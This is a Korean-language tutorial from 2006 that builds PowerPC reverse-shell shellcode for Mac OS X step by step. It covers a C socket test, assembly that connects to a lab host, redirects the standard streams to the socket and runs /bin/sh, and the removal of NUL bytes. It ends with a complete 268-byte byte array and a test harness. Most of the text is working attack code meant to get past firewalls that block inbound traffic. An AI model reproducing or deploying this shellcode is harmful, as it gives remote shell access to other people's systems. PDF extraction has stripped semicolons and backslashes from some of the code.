Execute Shellcode on the Mac OS X (Part 2) 1ndr4 indra.kr. x40. gmail.com http://indra.linuxstudy.pe.kr 2006. 01. 12. - 1 -
Table of contents 0x00. Introduction... 3 0x01. Why need the REVERSE CONNECTION... 4 0x02. A tiny example using socket() function... 7 0x03. Disassembli ng the test example... 10 0x04. I mplementation sending messages... 12 0x05. I mplementation mapping /bin/sh... 16 0x06. Remove 0x00 from codes... 21 0x07. Conclusions... 28 0x08. References... 29 0x09. Appendixes... 30-2 -
0x00. Introduction Processor : PowerPC G4 400MHz Memory : 320RAM SDRAM Developer Packages : Xcode Tools (developer kit for macosx) OS Version : MacOSX 10.3.9(7W98) - Panther Kernel Version : Darwin 7.9.0 Updated Packages : Full Patches - 2005. 12. 01. 전에작성했던문서 (Execute Shellcode on the MacOSX 이하파트원 ) 에서는내부적으로 /bin/sh를실행하는 shellcode를구현하는데에그쳤었다. 2005년이다가기전에새로운문서를써보고싶기도하고, 파트원문서에서다뤘던내용에대해보충할것이필요하다생각했었다. 그래서이번문서에서는단지시스템에서 shell을실행하는것만이아니라, socket() 함수를사용해외부연결을하는 shellcode를작성해보고자한다. 물론해당서버에서 port를열지않고 reverse connection에기반한연결을목표로할것이다. 테스트에사용되는서버는다음과같다. Mac OS X 192.168.0.11 Linux Box 192.168.0.5 Linux Box 의사양은중요한사항이아니므로언급하지않는다. - 3 -
0x01. Why need the REVERSE CONNECTION 예전에는방화벽이많이보급되어있지않았거나, 보급되었더라도방화벽의 rule이제대로활용되지못했다. 때문에외부에있는공격자가공격의대상을점거하기위해통상적인네트워크접속방식을사용했으나, 이제는기본방화벽의 rule set이나여러보안장비들로, 그렇게쉽게되지는않는다. (A) SERVER INTERNET (B) CLIENT 위의그림에서 (A) 와 (B) 는 packet 의상황을표현한것이다. SERVER의시점에서 (A) 는 CLIENT로 packet 을전달하는역할을하고, (B) 는 CLIENT로부터 packet 을전달받는역할을한다. CLIENT 시점에서는 (A) 는 SERVER로 packet 을전달하는역할, (B) 는 SERVER로부터 packet을전달받는역할이다. 각시점에서정보를전달하는것을 outbound, 전달받는것을 inbound라표현한다. 즉, 내쪽에서정보가나가는것을 outbound, 들어오는것을 inbound라표현한다고보면무리가없을것이다. 사족으로네트워크장비 (router, switch) 쪽으로보면해당장비들은중간에서통신유지를위한기계이기때문에내부 WAN 포트, 외부 LAN 포트에따라 inbound, outbound 가나뉜다. 이런것들은열외로제쳐두자. - 4 -
0x01. Why need the REVERSE CONNECTION [SYN packet] [SYN + ACK packet] SERVER [Received ACK] CLIENT 뭐.. 많이익숙해져있는그림일지도모르겠는데, TCP connection 의방식을간단하게나마나타낸것이다. 3 hand shaking 이라고도하는데모든 TCP connection 은 ESTABLISHED 상태가되기전에위와같은과정을거친다. explorer, telnet, ftp 등우리가사용하는통신프로그램이 TCP 프로토콜을사용하고있다면마찬가지다. 네트워크프로그래밍에관심이있다면, ( 그리고 linux 라면 ) /usr/include/netinet/tcp.h 파일을열어보자. 그러면그곳에 tcphdr 라는이름으로되어있는 TCP header 구조체와비트필드형식으로구성된 flag 구조를볼수있다. 아래의상황은 SERVER 앞단에 firewall 이있든지, 자체 firewall 을가동하든지 네트워크보안장비가가동중일때의상황이다. [SYN packet] SERVER CLIENT (FIREWALL) - 5 -
0x01. Why need the REVERSE CONNECTION 보안장비가앞단에있고, 대부분보안장비가있으면 rule 을설정하기마련이다. 만일 rule set에서 inbound packet 을모조리막아버리고, outbound 만허용했다면, 별다른방법이없는한, CLIENT에서연결을원한다고해도연결성립을할수없다. 실제경우에는 router 및 switch 단에서일반사용자들이사용하는 IP대역과서버들이사용하는 IP대역을나누어, 서버의 IP대역몇몇포트만 inbound를허용하는경우도있고, inbound, outbound 일단모조리막아놓고필요한 address, port 의 outbound만열어놓는경우도있다. 예를들어웹서핑만가능하게한다면, destination port( 목적지포트 ) 80번만허용하도록열어놓을수있다. 기본적인 network packet의허용 / 거부의기준은다비슷하기에기타상세한사항은 iptables 의 rule set이나 router rule set을참고한다. 위와같은상황에서사용될수있는방법이 reverse connection 인데, 이는보안장비가일단 inbound를막고 outbound에대해서부분적인제한을걸더라도, 허용된 destination port 나, address가있다면이를중심으로연결을성립한다는것이가장기본적인아이디어다. 물론 reverse connection 에응용에응용을거듭하는경우도있다. (trusted host connection 같은경우 ) 아래의그림이 reverse connection 의기본아이디어를나타낸다. 초록색은현재열려진 ( 또는허용된 ) 포트를의미한다. FIREWALL 에서는 outbound가허용된 destination port를의미하고, CLIENT에서는열고대기중인 port를나타낸다. ( 두 port의값은동일 ) CLIENT( 연결을원하고있는측 ) 에서만 SYN packet 을보내라는기존의고정관념을쉽게깨버릴수있다. (sending SYN packet to the CLIENT) SERVER FIREWALL (response SYN+ACK) CLIENT - 6 -
0x02. A tiny example using socket() function 다음은 socket() 을사용해서 192.168.0.5 서버의 1337 포트로 test 라는문자열을전달하는코드이다. socket() 함수가사용되는부분을알아보기위해간단히하드코딩으로구현해보았다. #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <netdb.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> #define SERV "192.168.0.5" #define PORT 1337 int main(void) { int s = 0 struct sockaddr_in addr if((s = socket(pf_inet, SOCK_STREAM, IPPROTO_TCP)) < 0) { fprintf(stderr, "socket() function error. n") return 1 } memset(&addr, 0x00, sizeof(addr)) addr.sin_family = AF_INET addr.sin_port = htons(port) addr.sin_addr.s_addr = inet_addr(serv) - 7 -
0x02. A tiny example using socket() function if(connect(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) { fprintf(stderr, "connect() function error. n") close(s) return 1 } if(send(s, "test n", 5, 0)!= 5) { fprintf(stderr, "send() function error. n") close(s) return 1 } } close(s) return 0 일단컴파일도잘되고기능도잘동작하는것을확인할수있다. <Mac OS X> <Linux Box> nc는유용한프로그램으로, 네트워크와관련한프로그램을간단히테스트해볼수있다. -n 옵션은연결된호스트에대해 lookup을수행하지말라는옵션이며, -v 는 verbose, -l 은 listen, -p 는 local port를지정하는옵션이다. - 8 -
0x02. A tiny example using socket() function 1337 port 를열고기다리던중, Mac 에서시도한접속을허용하고, 해당호스트에서보낸 test 라는문자열을받아서출력했다. 49622 는 Mac 에서연결된 port 를말한다. 프로그램이잘작동된다는것을확인하고, 이제디버깅을해볼차례인데, 편리함을위해 gcc 의 g 옵션을포함해컴파일한버전으로디버깅을한다. disassemble 된결과를파일로저장하기위해 gdb의 batch x 옵션을사용했고, result.txt 라는파일로출력결과를 redirect 시켰다. - 9 -
0x03. Disassembling the test example 다음은 disassemble 된결과이다. 그리고결과파일에 comment 를달아조금알아보기쉽게해보았다. - 10 -
0x03. Disassembling the test example 위의결과로각 structure 정보를저장하는대강의구조를알수있었고, string 처리는어차피 register 에값을직접저장 (immediate) 하는방식을사용할것이다. 그리고다음과같은어셈블리테스트코드를작성했다. - 11 -
0x04. Implementation sending messages.globl _main _main: stwu r1,-32(r1) xor. r31,r31,r31 ---------------------- socket() li r3,2 PF_INET li r4,1 SOCK_STREAM li r5,6 IPPROTO_TCP li r0,97 SYS_socket sc ---------------------- connect() xor r30,r30,r30 mr r30,r3 stw r30,0(r1) s = socket() : r30 [sockdesc. (4bytes)] = total stack use: 4bytes li r0,0x0002 sth r0,4(r1) AF_INET [sockdesc.] + [AF_INET (2bytes)] = total stack use: 6bytes li r0,1337 sth r0,6(r1) 1337 [sockdesc.] + [AF_INET] + [PORT (2bytes)] = total stack use: 8bytes lis r29,0xc0a8 ip address (hi) addi r29,r29,0x0005 ip address (low) stw r29,8(r1) - 12 -
0x04. Implementation sending messages [sockdesc.] + [AF_INET] + [PORT] + [ip address (4bytes)] = total stack use: 12bytes stw r31,12(r1) stw r31,16(r1) <-- structure of sockaddr_in (16bytes) --> [sockdesc.] + [AF_INET] + [PORT] + [IP] + [PAD (8bytes)] 12bytes - 4bytes = 8bytes (4bytes space of sockdesc.) total size of sockaddr_in = 16bytes therefore padding 8bytes = total stack use: 20bytes addi r0,r1,4 lwz r3,0(r1) mr r4,r0 li r5,16 mr r0,r31 li r0,98 SYS_connect sc ---------------------- write() mr r29,r31 lis r29,0x4141 addi r29,r29,0x4141 stb r30,20(r1) stw r29,21(r1) stb r30,25(r1) <--- "AAAA" string 6bytes ---> [sockdesc. + struct sockaddr_in] + [" x00"] + ["AAAA"] + [" x00"] = total stack use: 26bytes - 13 -
0x04. Implementation sending messages addi r0,r1,21 lwz r3,0(r1) mr r4,r31 mr r4,r0 li r5,5 li r6,0 li r0,101 SYS_oldsend sc ---------------------- close() xor r3,r3,r3 lwz r3,0(r1) li r0,6 SYS_close sc close() stack 에값을집어넣는작업은헷갈리기쉬워주석을넣고현재 stack에 data 저장된상태를표현하게했다. raw socket 을구현할때노가다하는, 그런느낌이랄까.. 아무튼위의코드도무리없이컴파일되고정상작동했다. <Linux Box> <Mac OS X> 조금더정확한동작구조를보기위해추적 (trace) 을할수있었는데, 원래 Mac OS X에는 linux의 strace나 solaris의 truss같은명령이없다. 하지만얼마전 ktrace와 kdump라는명령어를알아냈고, 이것을이용해서 system call 의실행상태를추적할수있다는것을알았다. 이전문서에서는 ktrace를몰랐기때문에정상작동의확인을프로그램실행후반환된값을보는 $? 라는 shell 변수값으로체크했었다. - 14 -
0x04. Implementation sending messages ktrace 의도움으로각 system call 이정상작동한다고알수있었다. - 15 -
0x05. Implementation mapping /bin/sh 일단메시지를보내는코드는만들어졌고, 메시지를보내는것대신 /bin/sh 를 mapping하여, 명령을내릴수있게하는것이다음목표이다. send() 함수실행부분을빼고, dup2() 함수로 stdin(0),stdout(1),stderr(2) 를연결된 socket descriptor로복사하여명령입출력을가능케한다. 그리고 execve() 로 /bin/sh를실행하면명령을내릴수있게되는데, 변경될부분은다음과같다. 결국 send() 함수루틴을떼어내고 /bin/sh 를실행하는코드를만드는데, 다음과같은어셈블리어코드를얻을수있었다. - 16 -
0x05. Implementation mapping /bin/sh.globl _main _main: stwu r1,-44(r1) xor. r31,r31,r31 ---------------------- socket() li r3,2 PF_INET li r4,1 SOCK_STREAM li r5,6 IPPROTO_TCP li r0,97 SYS_socket sc ---------------------- connect() xor r30,r30,r30 mr r30,r3 stw r30,0(r1) s = socket() : r30 [sockdesc. (4bytes)] = total stack use: 4bytes li r0,0x0002 sth r0,4(r1) AF_INET [sockdesc.] + [AF_INET (2bytes)] = total stack use: 6bytes li r0,1337 sth r0,6(r1) 1337 [sockdesc.] + [AF_INET] + [PORT (2bytes)] = total stack use: 8bytes lis r29,0xc0a8 ip address (hi) addi r29,r29,0x0005 ip address (low) stw r29,8(r1) - 17 -
0x05. Implementation mapping /bin/sh [sockdesc.] + [AF_INET] + [PORT] + [ip address (4bytes)] = total stack use: 12bytes stw r31,12(r1) stw r31,16(r1) <-- structure of sockaddr_in (16bytes) --> [sockdesc.] + [AF_INET] + [PORT] + [IP] + [PAD (8bytes)] 12bytes - 4bytes = 8bytes (4bytes space of sockdesc.) total size of sockaddr_in = 16bytes therefore padding 8bytes = total stack use: 20bytes addi r0,r1,4 lwz r3,0(r1) mr r4,r0 li r5,16 mr r0,r31 li r0,98 SYS_connect sc ---------------------- dup2() xor. r30,r30,r30 li r30,0 loop: mr r3,r31 lwz r3,0(r1) mr r4,r30 li r0,90 sc mr r4,r30 addic. r30,r30,1 cmpwi r30,3 bne loop - 18 -
0x05. Implementation mapping /bin/sh ---------------------- execve() mr r29,r31 mr r30,r31 lis r29,0x2f2f upper 2bytes ("//") addi r29,r29,0x6269 lower 2bytes ("bi") lis r30,0x6e2f upper 2bytes ("n/") addi r30,r30,0x7368 lower 2bytes ("sh") stw r31,20(r1) stw r29,24(r1) stw r30,28(r1) stw r31,32(r1) <--- string 16bytes ---> [sockdesc. + struct sockaddr_in] + [0] + ["//bin/sh"] + [0] 4 + 8 + 4 = total stack use: 36bytes mr r3,r1 addi r3,r3,24 mr r4,r3 stw r4,36(r1) stw r31,40(r1) implementation for double pointer (**argv) <-- address --> [sockdesc. + struct sockaddr_in] + [string] + [address] + [0] 4 + 4 = total stack use: 44bytes mr r4,r1 addi r4,r4,36 li r5,0 li r0,59 SYS_execve sc - 19 -
0x05. Implementation mapping /bin/sh ---------------------- close() xor r3,r3,r3 lwz r3,0(r1) li r0,6 SYS_close sc close() 아래가실행결과이며, reverse shell 이제대로실행되는것을볼수있다. - 20 -
0x06. Remove 0x00 from codes _main 의시작주소는 0x00001d10 이고, 아래에서는붉은색으로나타난부분이다. indra:~/shellcode2 indra$ otool -t./bind grep 00001d 00001d08 7d8903a6 4e800420 9421ffd4 7ffffa79 00001d18 38600002 38800001 38a00006 38000061 00001d28 44000002 7fdef278 7c7e1b78 93c10000 00001d38 38000002 b0010004 38000539 b0010006 00001d48 3fa0c0a8 3bbd0005 93a10008 93e1000c 00001d58 93e10010 38010004 80610000 7c040378 00001d68 38a00010 7fe0fb78 38000062 44000002 00001d78 7fdef279 3bc00000 7fe3fb78 80610000 00001d88 7fc4f378 3800005a 44000002 7fc4f378 00001d98 37de0001 2c1e0003 4082ffe0 7ffdfb78 00001da8 7ffefb78 3fa02f2f 3bbd6269 3fc06e2f 00001db8 3bde7368 93e10014 93a10018 93c1001c 00001dc8 93e10020 7c230b78 38630018 7c641b78 00001dd8 90810024 93e10028 7c240b78 38840024 00001de8 38a00000 3800003b 44000002 7c631a78 00001df8 80610000 38000006 44000002 indra:~/shellcode2 indra$ 보면, 0x00이꽤나많이들어가있는데주로레지스터와 stack에값을저장할때나 Byte 단위의값을직접입력 (immediate) 하는부분에서많이나타난다. 이코드들을제거해야한다.. shellcode 만들때.. 늘느끼는거지만, NUL 문자제거하는것이.. 참.. 귀찮다. 그런데 NUL 문자제거작업중예상치못한돌발변수를만났다. stw(store word) 와 stwu(store word with update) 의차이인데, 이전문서를쓸때에는 stack 에값을저장하고뺄때 stwu 명령어를사용해 r1 레지스터, 그러니까 ppc stack pointer 격이라할수있는레지스터의값이자동으로변경되는방법을사용했었다. 두명령어다 syntax는 stw(u) RT,D(RA) 였고, 이문서를쓸때에는 stw 명령어만을사용해 D를뜻하는 offset을가변적으로주는방법을사용했었는데, - 21 -
0x06. Remove 0x00 from codes 이 offset이 0일때문제가발생했다. offset 을의미하는 D 가기계어코드에서는 half-word 인 2바이트로표현된다. 따라서 stw r30,0(r1) 형식으로코드를만들면기계어코드에서는 0 이 0x0000으로변환되게된다. 어떻게할까궁리중에결국처음 stwu 명령으로 stack 할당을한후, r1에 Update 된값을다시합산했다. 후에 stw 명령사용시, 앞에 - 부호를붙여사용하는것으로수정했으며, 몇몇문자열이나구조체 implementation 관련해서는역순으로저장하게끔수정했다. 물론 sc 명령의 0x00 바이트들은 0xff로변경하였다. 그렇게수정해서마지막 NUL 문자들이제거된코드를완성했다. 아래의코드가그것이다..globl _main _main: stwu r1,-44(r1) xor. r31,r31,r31 xor. r28,r28,r28 0x00000000 addi r28,r28,0x1111 0x00001111 addic r1,r28,0x10e5 stack pointer ---------------------- socket() subi r3,r28,0x110f PF_INET = 2 subi r4,r28,0x1110 SOCK_STREAM = 1 subi r5,r28,0x110b IPPROTO_TCP = 6 subi r0,r28,0x10b0 SYS_socket = 97 sc ---------------------- connect() xor r30,r30,r30 mr r30,r3 stw r30,-4(r1) s = socket() : r30-22 -
0x06. Remove 0x00 from codes [sockdesc. (4bytes)] = total stack use: 4bytes subi r0,r28,0x110f r0 == 2 sth r0,-20(r1) AF_INET [sockdesc.] + [AF_INET (2bytes)] = total stack use: 6bytes subi r0,r28,0x0bd8 r0 == 1337 sth r0,-18(r1) [sockdesc.] + [AF_INET] + [PORT (2bytes)] = total stack use: 8bytes xor. r29,r29,r29 lis r29,0xffff 0xffff0000 addi r29,r29,0x1111 0xffff1111 subis r29,r29,0x3f57 0xc0a81111, ip address (hi) subi r29,r29,0x110c 0xc0a80005, ip address (low) stw r29,-16(r1) "192.168.0.5" [sockdesc.] + [AF_INET] + [PORT] + [ip address (4bytes)] = total stack use: 12bytes stw r31,-12(r1) stw r31,-8(r1) <-- structure of sockaddr_in (16bytes) --> [sockdesc.] + [AF_INET] + [PORT] + [IP] + [PAD (8bytes)] 12bytes - 4bytes = 8bytes (4bytes space of sockdesc.) - 23 -
0x06. Remove 0x00 from codes total size of sockaddr_in = 16bytes therefore padding 8bytes = total stack use: 20bytes addi r0,r1,-20 lwz r3,-4(r1) mr r4,r0 subi r5,r28,0x1101 r5 == 16 mr r0,r31 subi r0,r28,0x10af SYS_connect, r0 == 98 sc ---------------------- dup2() xor. r30,r30,r30 subi r30,r28,0x110f r30 == 2 loop: mr r3,r31 lwz r3,-4(r1) mr r4,r30 r4: newfd subi r0,r28,0x10b7 SYS_dup2, r0 == 90 sc mr r4,r30 addic. r30,r30,-1 r4: i-- cmpwi r30,-1 if(i!= -1) bne loop goto loop ---------------------- execve() mr r29,r31 mr r30,r31 lis r29,0x2f2f upper 2bytes ("//") addi r29,r29,0x6269 lower 2bytes ("bi") lis r30,0x6e2f upper 2bytes ("n/") addi r30,r30,0x7368 lower 2bytes ("sh") stw r31,-36(r1) stw r29,-32(r1) - 24 -
0x06. Remove 0x00 from codes stw r30,-28(r1) stw r31,-24(r1) <--- string 16bytes ---> [sockdesc. + struct sockaddr_in] + [0] + ["//bin/sh"] + [0] 4 + 8 + 4 = total stack use: 36bytes mr r3,r1 addi r3,r3,-32 mr r4,r3 stw r4,-40(r1) stw r31,-44(r1) implementation for double pointer (**argv) <-- address --> [sockdesc. + struct sockaddr_in] + [string] + [address] + [0] 4 + 4 = total stack use: 44bytes mr r4,r1 addi r4,r4,-40 subi r5,r28,0x1111 r5 == 0 subi r0,r28,0x10d6 SYS_execve, r0 == 59 sc ---------------------- close() xor r3,r3,r3 lwz r3,-4(r1) subi r0,r28,0x110b SYS_close, r0 == 6 sc close() - 25 -
0x06. Remove 0x00 from codes 그리고이 assembly code 를바탕으로완전한 shellcode 형식으로재구현. #include <stdio.h> char hellcode[] = /* socket() */ " x94 x21 xff xd4 x7f xff xfa x79 x7f x9c" " xe2 x79 x3b x9c x11 x11 x30 x3c x10 xe5" " x38 x7c xee xf1 x38 x9c xee xf0 x38 xbc" " xee xf5 x38 x1c xef x50 x44 xff xff x02" /* connect() */ " x7f xde xf2 x78 x7c x7e x1b x78 x93 xc1" " xff xfc x38 x1c xee xf1 xb0 x01 xff xec" /* destination port : 1337 */ " x38 x1c xf4 x28" " xb0 x01 xff xee x7f xbd" " xea x79 x3f xa0 xff xff x3b xbd x11 x11" /* destination address : 192.168.0.5 */ " x3f xbd xc0 xa9 x3b xbd xee xf4" " x93 xa1" " xff xf0 x93 xe1 xff xf4 x93 xe1 xff xf8" " x38 x01 xff xec x80 x61 xff xfc x7c x04" " x03 x78 x38 xbc xee xff x7f xe0 xfb x78" " x38 x1c xef x51 x44 xff xff x02" /* dup2() */ " x7f xde" " xf2 x79 x3b xdc xee xf1 x7f xe3 xfb x78" " x80 x61 xff xfc x7f xc4 xf3 x78 x38 x1c" " xef x49 x44 xff xff x02" - 26 -
0x06. Remove 0x00 from codes /* execve() */ " x7f xc4 xf3 x78" " x37 xde xff xff x2c x1e xff xff x40 x82" " xff xe0 x7f xfd xfb x78 x7f xfe xfb x78" " x3f xa0 x2f x2f x3b xbd x62 x69 x3f xc0" " x6e x2f x3b xde x73 x68 x93 xe1 xff xdc" " x93 xa1 xff xe0 x93 xc1 xff xe4 x93 xe1" " xff xe8 x7c x23 x0b x78 x38 x63 xff xe0" " x7c x64 x1b x78 x90 x81 xff xd8 x93 xe1" " xff xd4 x7c x24 x0b x78 x38 x84 xff xd8" " x38 xbc xee xef x38 x1c xef x2a x44 xff" " xff x02" /* close() */ " x7c x63 x1a x78 x80 x61 xff xfc" " x38 x1c xee xf5 x44 xff xff x02" int main(void) { void (*func)(void) func = (void*)hellcode fprintf(stdout, "%d bytes reverse shellcode. n", strlen(hellcode)) func() } 코딩을해놓고보니.. 하드코딩되어있는 IP address 와 port 가눈에거슬린다. 어찌됐든컴파일도별무리없이끝나고 shell 실행도제대로되는것을볼수있었다. 참고로아래의 Linux Box 에서 connect to []... 에서 Mac의 IP가 8번으로바뀌었는데공유기문제가있어바꿨더니 DHCP 강제할당설정을해놓은설정정보가날아가버려변경된것같다. - 27 -
0x06. Remove 0x00 from codes <Linux Box> <Mac OS X> 268 바이트짜리 reverse shellcode... :) 0x07. Conclusions 드디어.. 두번째 Mac OS X 용 shellcode 만들기문서에.. 종지부를찍는다. 언제나생각하지만.. 뭔가를만들어낸다는그자체가.. 나를기분좋게한다. 그래서재미있는것같다. 사실 2005년을문서정리할시간도없이바쁘게보낸터라.. 연말에작성을끝내려했지만, 모임이다뭐다.. 여기저기놀다가끝을못맺고.. 새해가되어서야종지부를찍게됐다. 음.. Mac OS X 의 /usr/include/sys/syscall.h 파일을보면.. 내가알지못하는 system call 들이꽤많다. SYS_audit 라던가.. Appletalk 관련 system call 들도따로있는것같던데.. 관심이간다.. 시간내서따로알아봐야겠다. 게다가얼마전 port knocking 이라는것도알게됐는데회사업무용으로 DMZ 내부망에서 reverse connection을응용한 shell 접속프로그램을만든적이있어서그쪽에대한 implementation 과정도한번문서를써볼까한다. 반쪽 implementation 은이미되어있으니.. 관심가고공부하고싶은것이너무나많다.. 그런데시간은없다.. 흑.. - 28 -
0x08. References [1] Mac OS X Assembler Guide http://developer.apple.com/documentation/developertools/reference/assembler/ [2] PowerPC assembly http://www-128.ibm.com/developerworks/linux/library/l-ppc/ [3] PowerPC Microprocessor Family: The Programming Environments for 32-Bit Microprocessor http://www-306.ibm.com/chips/techlib/techlib.nsf/techdocs/852569b20050ff778525699600719df2 [4] PowerPC Technical Tidbits http://www.go-ecs.com/ppc/ppctek1.htm [5] PowerPC Assembly Quick Reference Information http://class.ee.iastate.edu/cpre211/labs/quickrefppc.html [6] PowerPC Compiler Writer's Guide http://the.wall.riscom.net/books/proc/ppc/cwg/cwg_toc.html - 29 -
0x09. Appendixes - 30 -
0x09. Appendixes - 31 -